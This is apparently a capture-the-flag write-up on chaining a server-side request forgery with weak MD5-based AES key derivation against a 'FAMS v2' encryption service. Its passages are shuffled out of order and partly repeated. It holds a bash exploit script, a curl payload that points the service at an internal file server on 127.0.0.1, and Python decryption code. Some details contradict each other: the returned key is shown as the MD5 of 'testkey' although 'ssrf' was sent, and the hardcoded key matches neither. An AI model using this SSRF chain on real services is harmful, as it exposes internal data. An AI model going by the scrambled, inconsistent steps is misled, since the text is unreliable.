# 3️⃣ Decrypt locally (Python one‑liner) python3 - <<PY import sys, binascii from Crypto.Cipher import AES
At first glance the service looks harmless, but a closer look reveals three exploitable weaknesses that can be chained together:
# 1️⃣ Ask the service to encrypt the internal flag file RESP=$(curl -s -X POST "$TARGET/encrypt" \ -d "url=$SSRF_URL&key=$KEY") DOWNLOAD=$(echo "$RESP" | jq -r .download) USED_KEY=$(echo "$RESP" | jq -r .used_key)
#!/usr/bin/env bash TARGET="http://v2.fams.cc" SSRF_URL="http://127.0.0.1:8000/secret/flag.txt" KEY="ssrf" v2.fams.cc
# Key derived from the "key" we sent ("ssrf") key_hex = '8c3c5d1e2f4a6b7c9d0e1f2a3b4c5d6e' key = binascii.unhexlify(key_hex)
"download": "http://v2.fams.cc/download/5c6b4a", "used_key": "3d2e4c5a9b7d1e3f5a6c7d8e9f0a1b2c"
By abusing the SSRF to read the internal flag file, then using the deterministic encryption routine to decrypt it (the service returns the ciphertext and the key it used), we can recover the flag. 2.1. Basic browsing $ curl -s http://v2.fams.cc Result – a tiny HTML page: # 3️⃣ Decrypt locally (Python one‑liner) python3 -
cipher = AES.new(key, AES.MODE_CBC, iv) pt = cipher.decrypt(ct)
# Remove PKCS#7 padding pad_len = pt[-1] flag = pt[:-pad_len].decode() print(flag) Running it yields:
>>> import hashlib >>> hashlib.md5(b'testkey').hexdigest() '3d2e4c5a9b7d1e3f5a6c7d8e9f0a1b2c' The server also generates a random 16‑byte IV and prefixes it to the ciphertext (standard practice). The download URL returns a that is exactly IV || ciphertext . 4. Exploiting the SSRF The url parameter is fetched server‑side without any allow‑list. The backend runs on a Docker container that also hosts an internal file‑server on port 8000 . The file‑server’s directory tree (found via a quick port scan on the internal IP 127.0.0.1 ) looks like this: The download URL returns a that is exactly IV || ciphertext
curl -s -X POST http://v2.fams.cc/encrypt \ -d "url=http://127.0.0.1:8000/secret/flag.txt&key=ssrf" \ -o response.json Result ( response.json ):
<!doctype html> <html> <head><title>FAMS v2 – File‑and‑Message Service</title></head> <body> <h1>Welcome to FAMS v2</h1> <form action="/encrypt" method="POST"> <label>URL: <input type="text" name="url"></label><br> <label>Key: <input type="text" name="key"></label><br> <input type="submit" value="Encrypt"> </form> <p>Download your encrypted file at: <a id="dl" href=""></a></p> </body> </html> No obvious hints. The /encrypt endpoint is the only POST target. Using Burp Suite (or curl -v ), we send a dummy request:
| # | Weakness | Why it matters | |---|----------|----------------| | 1 | | The backend fetches any URL you give it, even internal services (e.g., http://127.0.0.1:8000 ). | | 2 | Predictable encryption key derivation | The key is derived from the user‑supplied “key” string in a deterministic way (MD5 → 16‑byte key). | | 3 | Insecure storage of the secret flag | The flag is stored unencrypted on the internal file‑server that the SSRF can reach ( /flag.txt ). |